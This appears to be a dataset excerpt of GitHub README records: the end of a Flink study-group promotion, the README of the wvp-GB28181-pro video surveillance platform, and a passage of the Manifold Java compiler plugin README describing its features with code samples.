window处理方式,1秒钟处理500条,1:kafka中有10000条数据时,仍旧1秒钟处理500条;2,kafka中有20条,每隔1秒处理一次。](https://t.zsxq.com/u7YbyFe) + [问一下大佬,网页UI可以进行savepoint的保存么?还是只能从savepoint启动?](https://t.zsxq.com/YfAqFUj) + [能否指定Kafka某些分区消费拉取消息,其他分区不拉取消息。现在有有很多场景,一个topic上百个分区,但是我只需要其中几个分区的数据](https://t.zsxq.com/AUfEAQB) + [我想过滤kafka 读到的某些数据,过滤条件从redis中拿到(与用户的配置相关,所以需要定时更新),总觉得怪怪的,请问有更好的方案吗?因为不提供redis的source,因此我是用jedis客户端来读取redis数据的,数据也获取不到,请问星主,flink代码在编写的时候,一般是如何调试的呢](https://t.zsxq.com/qr7UzjM) + [flink使用rocksdb状态检查点存在HDFS上,有的任务状态很小但是HDFS一个文件最小128M所以磁盘空间很快就满了,有没有啥配置可以自动清理检查点呢](https://t.zsxq.com/Ufqj2ZR) + [这是实时去重的问题。 举个例子,当发生订单交易的时候,业务中台会把该比订单消息发送到kafka,然后flink消费,统计总金额。如果因为业务中台误操作,发送了多次相同的订单过来(订单id相同),那么统计结果就会多次累加,造成统计的总金额比实际交易金额更多。我需要自定义在source里通过operate state去重,但是operate state是和每个source实例绑定,会造成重复的订单可能发送到不同的source实例,这样取出来的state里面就可能没有上一次已经记录的订单id,那么就会将这条重复的订单金额统计到最后结果中,](https://t.zsxq.com/RzB6E6A) + [双流join的时候,怎么能保证两边来的数据是对应的?举个例子,订单消息和库存消息,按逻辑来说,发生订单的时候,库存也会变,这两个topic都会同时各自发一条消息给我,我拿到这两条消息会根据订单id做join操作。问题是那如果库存消息延迟了5秒或者10秒,订单消息来的时候就join不到库存消息,这时候该怎么办?](https://t.zsxq.com/nunynmI) + [我这有一个比对程序用的是flink,数据源用的是flink-kafka,业务数据分为上下游,需要根据某个字段分组,相同的key上下游数据放一起比对。上下游数据进来的时间不一样,因此我用了一个可以迭代的窗口大小为5分钟window进行比对处理,最大迭代次数为3次。statebackend用的是fsstatebackend。通过监控发现当程序每分钟数据量超过2万条的时候,程序就不消费数据了,虽然webui上显示正常,而且jobmanager和taskmanager的stdout没有异常日志,但是程序就是不消费数据了。](https://t.zsxq.com/nmeE2Fm) + [异步io里面有个容量,是指同时多少个并发还是,假如我每个taskmanager核数设置10个,共10个taskmanager,那我这个数量只能设置100呢](https://t.zsxq.com/vjimeiI) + [有个性能问题想问下有没有相关的经验?一个job从kafka里读一个topic数据,然后进行分流,使用sideout分开之后直接处理,性能影响大吗?比如分开以后有一百多子任务。还有其他什么好的方案进行分流吗?](https://t.zsxq.com/mEeUrZB) + [线上有个作业抛出了一下异常,但是还能正常运行,这个怎么排查,能否提供一下思路](https://t.zsxq.com/Eayzr3R) 等等等,还有很多,复制粘贴的我手累啊 😂 另外里面还会及时分享 Flink 的一些最新的资料(包括数据、视频、PPT、优秀博客,持续更新,保证全网最全,因为我知道 Flink 目前的资料还不多) [关于自己对 Flink 学习的一些想法和建议](https://t.zsxq.com/AybAimM) [Flink 全网最全资料获取,持续更新,点击可以获取](https://t.zsxq.com/iaEiyB2) 再就是星球用户给我提的一点要求:不定期分享一些自己遇到的 Flink 项目的实战,生产项目遇到的问题,是如何解决的等经验之谈! 1、[如何查看自己的 Job 执行计划并获取执行计划图](https://t.zsxq.com/Zz3ny3V) 2、[当实时告警遇到 Kafka 千万数据量堆积该咋办?](https://t.zsxq.com/AIAQrnq) 3、[如何在流数据中比两个数据的大小?多种解决方法](https://t.zsxq.com/QnYjy7M) 4、[kafka 系列文章](https://t.zsxq.com/6Q3vN3b) 5、[Flink环境部署、应用配置及运行应用程序](https://t.zsxq.com/iiYfMBe) 6、[监控平台该有架构是长这样子的](https://t.zsxq.com/yfYrvFA) 7、[《大数据“重磅炸弹”——实时计算框架 Flink》专栏系列文章目录大纲](https://t.zsxq.com/beu7Mvj) 8、[《大数据“重磅炸弹”——实时计算框架 Flink》Chat 付费文章](https://t.zsxq.com/UvrRNJM) 9、[Apache Flink 是如何管理好内存的?](https://t.zsxq.com/zjQvjeM) 10、[Flink On K8s](https://t.zsxq.com/eYNBaAa) 11、[Flink-metrics-core](https://t.zsxq.com/Mnm2nI6) 12、[Flink-metrics-datadog](https://t.zsxq.com/Mnm2nI6) 13、[Flink-metrics-dropwizard](https://t.zsxq.com/Mnm2nI6) 14、[Flink-metrics-graphite](https://t.zsxq.com/Mnm2nI6) 15、[Flink-metrics-influxdb](https://t.zsxq.com/Mnm2nI6) 16、[Flink-metrics-jmx](https://t.zsxq.com/Mnm2nI6) 17、[Flink-metrics-slf4j](https://t.zsxq.com/Mnm2nI6) 18、[Flink-metrics-statsd](https://t.zsxq.com/Mnm2nI6) 19、[Flink-metrics-prometheus](https://t.zsxq.com/Mnm2nI6) 20、[Flink 注解源码解析](https://t.zsxq.com/f6eAu3J) 21、[使用 InfluxDB 和 Grafana 搭建监控 Flink 的平台](https://t.zsxq.com/yVnaYR7) 22、[一文搞懂Flink内部的Exactly Once和At Least Once](https://t.zsxq.com/UVfqfae) 23、[一文让你彻底了解大数据实时计算框架 Flink](https://t.zsxq.com/eM3ZRf2) 当然,除了更新 Flink 相关的东西外,我还会更新一些大数据相关的东西,因为我个人之前不是大数据开发,所以现在也要狂补些知识!总之,希望进来的童鞋们一起共同进步! 1、[Java 核心知识点整理.pdf](https://t.zsxq.com/7I6Iyrf) 2、[假如我是面试官,我会问你这些问题](https://t.zsxq.com/myJYZRF) 3、[Kafka 系列文章和学习视频](https://t.zsxq.com/iUZnamE) 4、[重新定义 Flink 第二期 pdf](https://t.zsxq.com/r7eIeyJ) 5、[GitChat Flink 文章答疑记录](https://t.zsxq.com/ZjiYrVr) 6、[Java 并发课程要掌握的知识点](https://t.zsxq.com/QZVJyz7) 7、[Lightweight Asynchronous Snapshots for Distributed Dataflows](https://t.zsxq.com/VVN7YB2) 8、[Apache Flink™- Stream and Batch Processing in a Single Engine](https://t.zsxq.com/VVN7YB2) 9、[Flink状态管理与容错机制](https://t.zsxq.com/NjAQFi2) 10、[Flink 流批一体的技术架构以及在阿里的实践](https://t.zsxq.com/MvfUvzN) 11、[Flink Checkpoint-轻量级分布式快照](https://t.zsxq.com/QVFqjea) 12、[Flink 流批一体的技术架构以及在阿里的实践](https://t.zsxq.com/MvfUvzN) 13、[Stream Processing with Apache Flink pdf](https://t.zsxq.com/N37mUzB) 14、[Flink 结合机器学习算法的监控平台实践](https://t.zsxq.com/m6EAaQ3) 15、[《大数据重磅炸弹-实时计算Flink》预备篇——大数据实时计算介绍及其常用使用场景 pdf 和视频](https://t.zsxq.com/emMBaQN) 16、[《大数据重磅炸弹-实时计算Flink》开篇词 pdf 和视频](https://t.zsxq.com/fqfuVRR) 17、[四本 Flink 书](https://t.zsxq.com/rVBQFI6) 18、[流处理系统 的相关 paper](https://t.zsxq.com/rVBQFI6) 19、[Apache Flink 1.9 特性解读](https://t.zsxq.com/FyzvRne) 20、[打造基于Flink Table API的机器学习生态](https://t.zsxq.com/FyzvRne) 21、[基于Flink on Kubernetes的大数据平台](https://t.zsxq.com/FyzvRne) 22、[基于Apache Flink的高性能机器学习算法库](https://t.zsxq.com/FyzvRne) 23、[Apache Flink在快手的应用与实践](https://t.zsxq.com/FyzvRne) 24、[Apache Flink-1.9与Hive的兼容性](https://t.zsxq.com/FyzvRne) 25、[打造基于Flink Table API的机器学习生态](https://t.zsxq.com/FyzvRne) 26、[流处理系统的相关 paper](https://t.zsxq.com/rVBQFI6)
0
648540858/wvp-GB28181-pro
WEB VIDEO PLATFORM是一个基于GB28181-2016标准实现的网络视频平台,支持NAT穿透,支持海康、大华、宇视等品牌的IPC、NVR、DVR接入。支持国标级联,支持rtsp/rtmp等视频流转发到国标平台,支持rtsp/rtmp等推流转发到国标平台。
2020-11-14T14:16:37Z
null
![logo](doc/_media/logo.png) # 开箱即用的28181协议视频平台 [![Build Status](https://travis-ci.org/xia-chu/ZLMediaKit.svg?branch=master)](https://travis-ci.org/xia-chu/ZLMediaKit) [![license](http://img.shields.io/badge/license-MIT-green.svg)](https://github.com/xia-chu/ZLMediaKit/blob/master/LICENSE) [![JAVA](https://img.shields.io/badge/language-java-red.svg)](https://en.cppreference.com/) [![platform](https://img.shields.io/badge/platform-linux%20|%20macos%20|%20windows-blue.svg)](https://github.com/xia-chu/ZLMediaKit) [![PRs Welcome](https://img.shields.io/badge/PRs-welcome-yellow.svg)](https://github.com/xia-chu/ZLMediaKit/pulls) WEB VIDEO PLATFORM是一个基于GB28181-2016标准实现的开箱即用的网络视频平台,负责实现核心信令与设备管理后台部分,支持NAT穿透,支持海康、大华、宇视等品牌的IPC、NVR接入。支持国标级联,支持将不带国标功能的摄像机/直播流/直播推流转发到其他国标平台。 流媒体服务基于@夏楚 ZLMediaKit [https://github.com/ZLMediaKit/ZLMediaKit](https://github.com/ZLMediaKit/ZLMediaKit) 播放器使用@dexter jessibuca [https://github.com/langhuihui/jessibuca/tree/v3](https://github.com/langhuihui/jessibuca/tree/v3) 前端页面基于@Kyle MediaServerUI [https://gitee.com/kkkkk5G/MediaServerUI](https://gitee.com/kkkkk5G/MediaServerUI) 进行修改. # 应用场景: 支持浏览器无插件播放摄像头视频。 支持国标设备(摄像机、平台、NVR等)设备接入 支持非国标(onvif, rtsp, rtmp,直播设备等等)设备接入,充分利旧。 支持国标级联。多平台级联。跨网视频预览。 支持跨网网闸平台互联。 # 文档 wvp使用文档 [https://doc.wvp-pro.cn](https://doc.wvp-pro.cn) ZLM使用文档 [https://github.com/ZLMediaKit/ZLMediaKit](https://github.com/ZLMediaKit/ZLMediaKit) # 付费社群 [![社群](doc/_media/shequ.png "shequ")](https://t.zsxq.com/0d8VAD3Dm) > 收费是为了提供更好的服务,也是对作者更大的激励。加入星球的用户三天后可以私信我留下微信号,我会拉大家入群。加入三天内不满意可以直接退款,大家不需要有顾虑,来白嫖三天也不是不可以。 # gitee同步仓库 https://gitee.com/pan648540858/wvp-GB28181-pro.git # 截图 ![index](doc/_media/index.png "index.png") ![2](doc/_media/2.png "2.png") ![3](doc/_media/3.png "3.png") ![3-1](doc/_media/3-1.png "3-1.png") ![3-2](doc/_media/3-2.png "3-2.png") ![3-3](doc/_media/3-3.png "3-3.png") ![build_1](https://images.gitee.com/uploads/images/2022/0304/101919_ee5b8c79_1018729.png "2022-03-04_10-13.png") # 功能特性 - [X] 集成web界面 - [X] 兼容性良好 - [X] 支持电子地图,支持接入WGS84和GCJ02两种坐标系,并且自动转化为合适的坐标系进行展示和分发 - [X] 接入设备 - [X] 视频预览 - [X] 支持主码流子码流切换 - [X] 无限制接入路数,能接入多少设备只取决于你的服务器性能 - [X] 云台控制,控制设备转向,拉近,拉远 - [X] 预置位查询,使用与设置 - [X] 查询NVR/IPC上的录像与播放,支持指定时间播放与下载 - [X] 无人观看自动断流,节省流量 - [X] 视频设备信息同步 - [X] 离在线监控 - [X] 支持直接输出RTSP、RTMP、HTTP-FLV、Websocket-FLV、HLS多种协议流地址 - [X] 支持通过一个流地址直接观看摄像头,无需登录以及调用任何接口 - [X] 支持UDP和TCP两种国标信令传输模式 - [X] 支持UDP和TCP两种国标流传输模式 - [X] 支持检索,通道筛选 - [X] 支持通道子目录查询 - [X] 支持过滤音频,防止杂音影响观看 - [X] 支持国标网络校时 - [X] 支持播放H264和H265 - [X] 报警信息处理,支持向前端推送报警信息 - [X] 语音对讲 - [X] 支持订阅与通知方法 - [X] 移动位置订阅 - [X] 移动位置通知处理 - [X] 报警事件订阅 - [X] 报警事件通知处理 - [X] 设备目录订阅 - [X] 设备目录通知处理 - [X] 移动位置查询和显示 - [X] 支持手动添加设备和给设备设置单独的密码 - [X] 支持平台对接接入 - [X] 支持国标级联 - [X] 国标通道向上级联 - [X] WEB添加上级平台 - [X] 注册 - [X] 心跳保活 - [X] 通道选择 - [X] 通道推送 - [X] 点播 - [X] 云台控制 - [X] 平台状态查询 - [X] 平台信息查询 - [X] 平台远程启动 - [X] 每个级联平台可自定义的虚拟目录 - [X] 目录订阅与通知 - [X] 录像查看与播放 - [X] GPS订阅与通知(直播推流) - [X] 语音对讲 - [X] 支持自动配置ZLM媒体服务, 减少因配置问题所出现的问题; - [X] 多流媒体节点,自动选择负载最低的节点使用。 - [X] 支持启用udp多端口模式, 提高udp模式下媒体传输性能; - [X] 支持公网部署; - [X] 支持wvp与zlm分开部署,提升平台并发能力 - [X] 支持拉流RTSP/RTMP,分发为各种流格式,或者推送到其他国标平台 - [X] 支持推流RTSP/RTMP,分发为各种流格式,或者推送到其他国标平台 - [X] 支持推流鉴权 - [X] 支持接口鉴权 - [X] 云端录像,推流/代理/国标视频均可以录制在云端服务器,支持预览和下载 - [X] 支持打包可执行jar和war - [X] 支持跨域请求,支持前后端分离部署 - [X] 支持Mysql,Postgresql,金仓等数据库 - [X] 支持Onvif(目前在onvif分支,需要安装onvif服务,服务请在知识星球获取) # 非开源的内容 - [X] ONVIF设备的接入,支持点播,云台控制,国标级联点播,自动点播。在[知识星球](https://t.zsxq.com/10WAnH2MP)放了试用安装包以及使用教程,没有使用时间限制,需要源码可以星球私信我或者邮箱联系。 - [X] 支持国标28181-2022协议,支持巡航轨迹查询,PTZ精准控制,存储卡格式化,设备软件升级,OSD配置,h265+aac,支持辅码流,录像倒放等。具体的功能列表可在[知识星球](https://t.zsxq.com/18GXkpkqs)查看,需要源码和测试可以在星球私信联系或者发邮件给我 # 授权协议 本项目自有代码使用宽松的MIT协议,在保留版权信息的情况下可以自由应用于各自商用、非商业的项目。 但是本项目也零碎的使用了一些其他的开源代码,在商用的情况下请自行替代或剔除; 由于使用本项目而产生的商业纠纷或侵权行为一概与本项目及开发者无关,请自行承担法律风险。 在使用本项目代码时,也应该在授权协议中同时表明本项目依赖的第三方库的协议 # 技术支持 [知识星球](https://t.zsxq.com/0d8VAD3Dm)专栏列表:, - [使用入门系列一:WVP-PRO能做什么](https://t.zsxq.com/0dLguVoSp) 有偿技术支持,请发送邮件到648540858@qq.com # 致谢 感谢作者[夏楚](https://github.com/xia-chu) 提供这么棒的开源流媒体服务框架,并在开发过程中给予支持与帮助。 感谢作者[dexter langhuihui](https://github.com/langhuihui) 开源这么好用的WEB播放器。 感谢作者[Kyle](https://gitee.com/kkkkk5G) 开源了好用的前端页面 感谢各位大佬的赞助以及对项目的指正与帮助。包括但不限于代码贡献、问题反馈、资金捐赠等各种方式的支持!以下排名不分先后: [lawrencehj](https://github.com/lawrencehj) [Smallwhitepig](https://github.com/Smallwhitepig) [swwhaha](https://github.com/swwheihei) [hotcoffie](https://github.com/hotcoffie) [xiaomu](https://github.com/nikmu) [TristingChen](https://github.com/TristingChen) [chenparty](https://github.com/chenparty) [Hotleave](https://github.com/hotleave) [ydwxb](https://github.com/ydwxb) [ydpd](https://github.com/ydpd) [szy833](https://github.com/szy833) [ydwxb](https://github.com/ydwxb) [Albertzhu666](https://github.com/Albertzhu666) [mk1990](https://github.com/mk1990) [SaltFish001](https://github.com/SaltFish001) 同时感谢JetBrains对开源项目的支持,本项目使用IntelliJ IDEA开发与调试: ![JetBrains](https://resources.jetbrains.com/storage/products/company/brand/logos/IntelliJ_IDEA_icon.svg?_ga=2.143694769.529214288.1712023294-439039083.1711422571&_gl=1*102dv9n*_ga*NDM5MDM5MDgzLjE3MTE0MjI1NzE.*_ga_9J976DJZ68*MTcxMjEyNjg4NC45LjEuMTcxMjEyNzc2My4zMy4wLjA.)
0
manifold-systems/manifold
Manifold is a Java compiler plugin, its features include Metaprogramming, Properties, Extension Methods, Operator Overloading, Templates, a Preprocessor, and more.
2017-06-07T02:37:23Z
null
<br> <img width="500" height="121" align="top" src="./docs/images/manifold_green.png"> ![latest](https://img.shields.io/badge/latest-v2024.1.14-royalblue.svg) [![slack](https://img.shields.io/badge/slack-manifold-seagreen.svg?logo=slack)](https://join.slack.com/t/manifold-group/shared_invite/zt-e0bq8xtu-93ASQa~a8qe0KDhOoD6Bgg) [![GitHub Repo stars](https://img.shields.io/github/stars/manifold-systems/manifold?logo=github&style=flat&color=tan)](https://github.com/manifold-systems/manifold) --- ## What is Manifold? Manifold is a Java compiler plugin. Use it to supplement your Java projects with highly productive features. Advanced compile-time <b>metaprogramming</b> type-safely integrates any kind of data, metadata, or DSL directly into Java. * [SQL](https://github.com/manifold-systems/manifold/tree/master/manifold-deps-parent/manifold-sql/readme.md) _**(New!)**_ * [GraphQL](https://github.com/manifold-systems/manifold/tree/master/manifold-deps-parent/manifold-graphql) * [JSON & JSON Schema](https://github.com/manifold-systems/manifold/tree/master/manifold-deps-parent/manifold-json), [YAML](https://github.com/manifold-systems/manifold/tree/master/manifold-deps-parent/manifold-yaml), [XML](https://github.com/manifold-systems/manifold/tree/master/manifold-deps-parent/manifold-xml) * [CSV](https://github.com/manifold-systems/manifold/tree/master/manifold-deps-parent/manifold-csv) * [JavaScript](https://github.com/manifold-systems/manifold/tree/master/manifold-deps-parent/manifold-js) * etc. Powerful **language enhancements** significantly improve developer productivity. * [Extension methods](https://github.com/manifold-systems/manifold/tree/master/manifold-deps-parent/manifold-ext) * [_True_ delegation](https://github.com/manifold-systems/manifold/tree/master/manifold-deps-parent/manifold-delegation) * [Properties](https://github.com/manifold-systems/manifold/tree/master/manifold-deps-parent/manifold-props) * [Tuple expressions](https://github.com/manifold-systems/manifold/tree/master/manifold-deps-parent/manifold-tuple) * [Operator overloading](https://github.com/manifold-systems/manifold/tree/master/manifold-deps-parent/manifold-ext#operator-overloading) * [Unit expressions](https://github.com/manifold-systems/manifold/tree/master/manifold-deps-parent/manifold-ext#unit-expressions) * [A *Java* template engine](https://github.com/manifold-systems/manifold/tree/master/manifold-deps-parent/manifold-templates) * [A preprocessor](https://github.com/manifold-systems/manifold/tree/master/manifold-deps-parent/manifold-preprocessor) * ...and more Each feature is available as a separate dependency. Simply add the Manifold dependencies of your choosing to your existing project and begin taking advantage of them. All fully supported in JDK LTS releases 8 - 21 + latest with comprehensive IDE support in **IntelliJ IDEA** and **Android Studio**. ># _**What's New...**_ > >[<img width="40%" height="40%" align="top" src="./docs/images/manifoldsql.png">](https://github.com/manifold-systems/manifold/tree/master/manifold-deps-parent/manifold-sql/readme.md) > >### [Type-safe SQL](https://github.com/manifold-systems/manifold/tree/master/manifold-deps-parent/manifold-sql/readme.md) > Manifold SQL lets you write native SQL _directly_ and _type-safely_ in your Java code. >- Query types are instantly available as you type native SQL of any complexity in your Java code >- Schema types are automatically derived from your database, providing type-safe CRUD, decoupled TX, and more >- No ORM, No DSL, No wiring, and No code generation build steps > <br><br> > [![img_3.png](./docs/images/img_3.png)](https://github.com/manifold-systems/manifold/tree/master/manifold-deps-parent/manifold-sql/readme.md) ## Who is using Manifold? Sampling of companies using Manifold: <img width="80%" height="80%" src="./docs/images/companies.png"> ## What can you do with Manifold? ### [Meta-programming](https://github.com/manifold-systems/manifold/tree/master/manifold-core-parent/manifold) Use the framework to gain direct, type-safe access to *any* type of resource, such as [**SQL**](https://github.com/manifold-systems/manifold/tree/master/manifold-deps-parent/manifold-sql), [**JSON**](https://github.com/manifold-systems/manifold/tree/master/manifold-deps-parent/manifold-json), [**GraphQL**](https://github.com/manifold-systems/manifold/tree/master/manifold-deps-parent/manifold-graphql), [**XML**](https://github.com/manifold-systems/manifold/tree/master/manifold-deps-parent/manifold-xml), [**YAML**](https://github.com/manifold-systems/manifold/tree/master/manifold-deps-parent/manifold-yaml), [**CSV**](https://github.com/manifold-systems/manifold/tree/master/manifold-deps-parent/manifold-csv), and even other languages such as [**JavaScript**](https://github.com/manifold-systems/manifold/tree/master/manifold-deps-parent/manifold-js). Remove the code gen step in your build process. [&nbsp;**▶**&nbsp;Check&nbsp;it&nbsp;out!](http://manifold.systems/images/graphql.mp4) [**SQL:**](https://github.com/manifold-systems/manifold/tree/master/manifold-deps-parent/manifold-sql) Use _native_ SQL of any complexity _directly_ and _type-safely_ from Java. ```java Language english = "[.sql/]select * from Language where name = 'English'".fetchOne(); Film film = Film.builder("My Movie", english) .withDescription("Nice movie") .withReleaseYear(2023) .build(); MyDatabase.commit(); ``` [**GraphQL:**](https://github.com/manifold-systems/manifold/tree/master/manifold-deps-parent/manifold-graphql) Use types defined in .graphql files *directly*, no code gen steps! Make GraphQL changes and immediately use them with code completion. ```java var query = MovieQuery.builder(Action).build(); var result = query.request("http://com.example/graphql").post(); var actionMovies = result.getMovies(); for (var movie : actionMovies) { out.println( "Title: " + movie.getTitle() + "\n" + "Genre: " + movie.getGenre() + "\n" + "Year: " + movie.getReleaseDate().getYear() + "\n"); } ``` [**JSON:**](https://github.com/manifold-systems/manifold/tree/master/manifold-deps-parent/manifold-json) Use .json schema files directly and type-safely, no code gen steps! Find usages of .json properties in your Java code. ```java // From User.json User user = User.builder("myid", "mypassword", "Scott") .withGender(male) .withDob(LocalDate.of(1987, 6, 15)) .build(); User.request("http://api.example.com/users").postOne(user); ``` ### [Extension Methods](https://github.com/manifold-systems/manifold/tree/master/manifold-deps-parent/manifold-ext) Add your own methods to existing Java classes, even *String*, *List*, and *File*. Eliminate boilerplate code. [&nbsp;**▶**&nbsp;Check&nbsp;it&nbsp;out!](http://manifold.systems/images/ExtensionMethod.mp4) ```java String greeting = "hello"; greeting.myMethod(); // Add your own methods to String! ``` ### [Delegation](https://github.com/manifold-systems/manifold/tree/master/manifold-deps-parent/manifold-delegation) Favor composition over inheritance. Use `@link` and `@part` for automatic interface implementation forwarding and _true_ delegation. > ```java > class MyClass implements MyInterface { > @link MyInterface myInterface; // transfers calls on MyInterface to myInterface > > public MyClass(MyInterface myInterface) { > this.myInterface = myInterface; // dynamically configure behavior > } > > // No need to implement MyInterface here, but you can override myInterface as needed > } > ``` ### [Properties](https://github.com/manifold-systems/manifold/tree/master/manifold-deps-parent/manifold-props) Eliminate boilerplate getter/setter code, improve your overall dev experience with properties. ```java public interface Book { @var String title; // no more boilerplate code! } // refer to it directly by name book.title = "Daisy"; // calls setter String name = book.title; // calls getter book.title += " chain"; // calls getter & setter ``` Additionally, the feature automatically _**infers**_ properties, both from your existing source files and from compiled classes your project uses. Reduce property use from this: ```java Actor person = result.getMovie().getLeadingRole().getActor(); Likes likes = person.getLikes(); likes.setCount(likes.getCount() + 1); ``` to this: ```java result.movie.leadingRole.actor.likes.count++; ``` ### [Operator Overloading](https://github.com/manifold-systems/manifold/tree/master/manifold-deps-parent/manifold-ext#operator-overloading) Implement *operator* methods on any type to directly support arithmetic, relational, index, and unit operators. ```java // BigDecimal expressions if (bigDec1 > bigDec2) { BigDecimal result = bigDec1 + bigDec2; ... } // Implement operators for any type MyType value = myType1 + myType2; ``` ### [Tuple expressions](https://github.com/manifold-systems/manifold/tree/master/manifold-deps-parent/manifold-tuple) Tuple expressions provide concise syntax to group named data items in a lightweight structure. ```java var t = (name: "Bob", age: "35"); System.out.println("Name: " + t.name + " Age: " + t.age); var t = (person.name, person.age); System.out.println("Name: " + t.name + " Age: " + t.age); ``` You can also use tuples with new [`auto` type inference](https://github.com/manifold-systems/manifold/tree/master/manifold-deps-parent/manifold-ext#type-inference-with-auto) to enable multiple return values from a method. ### [Unit Expressions](https://github.com/manifold-systems/manifold/tree/master/manifold-deps-parent/manifold-ext#unit-expressions) Unit or *binding* operations are unique to the Manifold framework. They provide a powerfully concise syntax and can be applied to a wide range of applications. ```java import static manifold.science.util.UnitConstants.*; // kg, m, s, ft, etc ... Length distance = 100 mph * 3 hr; Force f = 5.2 kg m/s/s; // same as 5.2 N Mass infant = 9 lb + 8.71 oz; ``` ### [Ranges](https://github.com/manifold-systems/manifold/tree/master/manifold-deps-parent/manifold-collections#ranges) Easily work with the *Range* API using [unit expressions](https://github.com/manifold-systems/manifold/tree/master/manifold-deps-parent/manifold-ext#unit-expressions). Simply import the *RangeFun* constants to create ranges. ```java // imports the `to`, `step`, and other "binding" constants import static manifold.collections.api.range.RangeFun.*; ... for (int i: 1 to 5) { out.println(i); } for (Mass m: 0kg to 10kg step 22r unit g) { out.println(m); } ``` ### [Science](https://github.com/manifold-systems/manifold/tree/master/manifold-deps-parent/manifold-science) Use the [manifold-science](https://github.com/manifold-systems/manifold/tree/master/manifold-deps-parent/manifold-science) framework to type-safely incorporate units and precise measurements into your applications. ```java import static manifold.science.util.UnitConstants.*; // kg, m, s, ft, etc. ... Velocity rate = 65mph; Time time = 1min + 3.7sec; Length distance = rate * time; ``` ### [Preprocessor](https://github.com/manifold-systems/manifold/tree/master/manifold-deps-parent/manifold-preprocessor) Use familiar directives such as **#define** and **#if** to conditionally compile your Java projects. The preprocessor offers a simple and convenient way to support multiple build targets with a single codebase. [&nbsp;**▶**&nbsp;Check&nbsp;it&nbsp;out!](http://manifold.systems/images/preprocessor.mp4) ```java #if JAVA_8_OR_LATER @Override public void setTime(LocalDateTime time) {...} #else @Override public void setTime(Calendar time) {...} #endif ``` ### [Structural Typing](https://github.com/manifold-systems/manifold/tree/master/manifold-deps-parent/manifold-ext#structural-interfaces-via-structural) Unify disparate APIs. Bridge software components you do not control. Access maps through type-safe interfaces. [&nbsp;**▶**&nbsp;Check&nbsp;it&nbsp;out!](http://manifold.systems/images/structural%20typing.mp4) ```java Map<String, Object> map = new HashMap<>(); MyThingInterface thing = (MyThingInterface) map; // O_o thing.setFoo(new Foo()); Foo foo = thing.getFoo(); out.println(thing.getClass()); // prints "java.util.HashMap" ``` ### [Type-safe Reflection](https://github.com/manifold-systems/manifold/tree/master/manifold-deps-parent/manifold-ext#type-safe-reflection-via-jailbreak) Access private features with <b>@Jailbreak</b> to avoid the drudgery and vulnerability of Java reflection. [&nbsp;**▶**&nbsp;Check&nbsp;it&nbsp;out!](http://manifold.systems/images/jailbreak.mp4) ```java @Jailbreak Foo foo = new Foo(); // Direct, *type-safe* access to *all* foo's members foo.privateMethod(x, y, z); foo.privateField = value; ``` ### [Checked Exception Handling](https://github.com/manifold-systems/manifold/tree/master/manifold-deps-parent/manifold-exceptions) You now have an option to make checked exceptions behave like unchecked exceptions! No more unintended exception swallowing. No more *try*/*catch*/*wrap*/*rethrow* boilerplate! ```java List<String> strings = ...; List<URL> urls = strings.stream() .map(URL::new) // No need to handle the MalformedURLException! .collect(Collectors.toList()); ``` ### [String Templates](https://github.com/manifold-systems/manifold/tree/master/manifold-deps-parent/manifold-strings) Inline variables and expressions in String literals, no more clunky string concat! [&nbsp;**▶**&nbsp;Check&nbsp;it&nbsp;out!](http://manifold.systems/images/string_interpolation.mp4) ```java int hour = 15; // Simple variable access with '$' String result = "The hour is $hour"; // Yes!!! // Use expressions with '${}' result = "It is ${hour > 12 ? hour-12 : hour} o'clock"; ``` ### [A *Java* Template Engine](https://github.com/manifold-systems/manifold/tree/master/manifold-deps-parent/manifold-templates) Author template files with the full expressive power of Java, use your templates directly in your code as types. Supports type-safe inclusion of other templates, shared layouts, and more. [&nbsp;**▶**&nbsp;Check&nbsp;it&nbsp;out!](http://manifold.systems/images/mantl.mp4) ```java List<User> users = ...; String content = abc.example.UserSample.render(users); ``` A template file *abc/example/UserSample.html.mtl* ```html <%@ import java.util.List %> <%@ import com.example.User %> <%@ params(List<User> users) %> <html lang="en"> <body> <% for(User user: users) { %> <% if(user.getDateOfBirth() != null) { %> User: ${user.getName()} <br> DOB: ${user.getDateOfBirth()} <br> <% } %> <% } %> </body> </html> ``` ## [IDE Support](https://github.com/manifold-systems/manifold) Use the [Manifold plugin](https://plugins.jetbrains.com/plugin/10057-manifold) to fully leverage Manifold with **IntelliJ IDEA** and **Android Studio**. The plugin provides comprehensive support for Manifold including code completion, navigation, usage searching, refactoring, incremental compilation, hotswap debugging, full-featured template editing, integrated preprocessor, and more. <p><img src="http://manifold.systems/images/ManifoldPlugin.png" alt="manifold ij plugin" width="60%" height="60%"/></p> [Get the plugin from JetBrains Marketplace](https://plugins.jetbrains.com/plugin/10057-manifold) ## [Projects](https://github.com/manifold-systems/manifold) The Manifold project consists of the core Manifold framework and a collection of sub-projects implementing SPIs provided by the core framework. Each project consists of one or more **dependencies** you can easily add to your project: [Manifold : _Core_](https://github.com/manifold-systems/manifold/tree/master/manifold-core-parent/manifold)<br> [Manifold : _Extensions_](https://github.com/manifold-systems/manifold/tree/master/manifold-deps-parent/manifold-ext)<br> [Manifold : _Delegation_](https://github.com/manifold-systems/manifold/tree/master/manifold-deps-parent/manifold-delegation)<br> [Manifold : _Properties_](https://github.com/manifold-systems/manifold/tree/master/manifold-deps-parent/manifold-props)<br> [Manifold : _Tuples_](https://github.com/manifold-systems/manifold/tree/master/manifold-deps-parent/manifold-tuple)<br> [Manifold : _SQL_](https://github.com/manifold-systems/manifold/tree/master/manifold-deps-parent/manifold-sql)<br> [Manifold : _GraphQL_](https://github.com/manifold-systems/manifold/tree/master/manifold-deps-parent/manifold-graphql)<br> [Manifold : _JSON_](https://github.com/manifold-systems/manifold/tree/master/manifold-deps-parent/manifold-json)<br> [Manifold : _XML_](https://github.com/manifold-systems/manifold/tree/master/manifold-deps-parent/manifold-xml)<br> [Manifold : _YAML_](https://github.com/manifold-systems/manifold/tree/master/manifold-deps-parent/manifold-yaml)<br> [Manifold : _CSV_](https://github.com/manifold-systems/manifold/tree/master/manifold-deps-parent/manifold-csv)<br> [Manifold : _Property Files_](https://github.com/manifold-systems/manifold/tree/master/manifold-deps-parent/manifold-properties)<br> [Manifold : _Image_](https://github.com/manifold-systems/manifold/tree/master/manifold-deps-parent/manifold-image)<br> [Manifold : _Dark Java_](https://github.com/manifold-systems/manifold/tree/master/manifold-deps-parent/manifold-darkj)<br> [Manifold : _JavaScript_](https://github.com/manifold-systems/manifold/tree/master/manifold-deps-parent/manifold-js)<br> [Manifold : _Java Templates_](https://github.com/manifold-systems/manifold/tree/master/manifold-deps-parent/manifold-templates)<br> [Manifold : 